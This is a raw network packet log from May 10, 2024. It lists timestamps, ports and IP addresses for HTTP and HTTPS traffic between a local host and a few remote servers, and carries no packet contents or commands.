May 10, 2024 09:20:57.845031977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845045090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845046043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.845060110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845072031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845072985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.845082998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.845083952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845097065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845108032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845110893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.845134020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.845235109 CEST	49675	443	192.168.2.4	173.222.162.32
May 10, 2024 09:20:57.846666098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846690893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846703053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846710920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.846714973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846726894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846738100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846740007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.846750975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846760988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.846762896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846781969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846787930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.846792936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846805096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846812963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.846817970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.846865892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.848565102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848608017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.848726034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848738909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848750114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848761082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848767996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.848773003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848797083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848797083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.848809958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848823071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848834038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.848834038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848848104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848860025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.848865986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.848897934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.849865913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849881887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849894047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849905014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849916935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849927902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849930048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.849941015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849953890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849963903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.849966049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849973917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.849980116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.849992037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.850003004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.850011110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.850014925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.850027084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.850035906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.850044966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851113081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851125002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851138115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851155996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851169109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851294041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851305962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851317883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851335049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851342916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851346970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851360083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851372004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851375103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851388931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851397038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851402044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851419926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851587057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851598978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851608992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851620913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851632118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851635933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851644039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851655960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851658106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851669073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851669073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851686954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851700068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851701021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851712942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851722002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.851725101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.851758957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.853279114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853291035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853302002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853312969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853323936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853332996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.853336096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853349924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853358030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.853367090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853379965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853393078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853403091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.853404045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853419065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.853429079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.853445053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.854615927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854628086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854645967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854660034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854671001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854671955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.854684114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854690075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.854696989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854707003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.854707956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854721069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854731083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.854733944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854746103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854758024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854768991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854772091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.854782104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.854794979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.854810953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856118917 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.856134892 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.856663942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856677055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856688023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856699944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856707096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856710911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856724977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856735945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856735945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856745005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856750965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856762886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856775045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856775999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856786966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856800079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856807947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856843948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856915951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856928110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856939077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856950998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856962919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856962919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856975079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.856978893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.856987000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857002020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857002974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857017040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857028961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857032061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857042074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857049942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857055902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857081890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857819080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857831001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857842922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857855082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857867002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857877016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857878923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857877016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857897043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857901096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857912064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857929945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857943058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857949972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857954979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857966900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.857974052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.857995033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859260082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859272957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859321117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859450102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859462976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859473944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859486103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859493971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859498024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859503031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859510899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859522104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859530926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859534025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859545946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859555960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859565973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859570026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859580040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859591961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859596014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859603882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859605074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859616995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859630108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859638929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859642029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859657049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859663010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859668970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859677076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859682083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859699965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859711885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859718084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859724998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859733105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859738111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859759092 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.859764099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859814882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859827042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859849930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859849930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859863043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859874964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859885931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859889030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859899044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859910965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859914064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859924078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859935999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859941006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859949112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859961987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.859962940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.859982967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.861191988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861206055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861218929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861247063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.861265898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.861335993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861349106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861360073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861371040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861382961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861385107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.861396074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861407995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861409903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.861426115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861438990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861447096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.861469984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.861977100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861989021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.861999989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862010956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862023115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862025023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.862035036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862046957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862056971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.862057924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862070084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862071991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.862082958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862083912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.862097025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862108946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862109900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.862116098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.862124920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862148046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.862166882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.863253117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.863265038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.863277912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.863291025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.863301992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.863308907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.863315105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.863341093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.865734100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.865751982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.865765095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.865776062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.865797997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.865798950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.865817070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.865822077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.865833044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.868042946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868067980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868081093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868086100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.868093014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868120909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.868146896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868160009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868171930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868184090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868190050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.868196011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868207932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868212938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.868221045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868232965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.868233919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.868268013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.873393059 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.873580933 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.873598099 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.873915911 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.874200106 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.874258995 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.874308109 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.875766993 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.875804901 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.875869989 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.875874996 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.875906944 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.876955986 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.876971006 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.883105993 CEST	49781	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.883132935 CEST	443	49781	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.883308887 CEST	49781	443	192.168.2.4	172.66.40.85
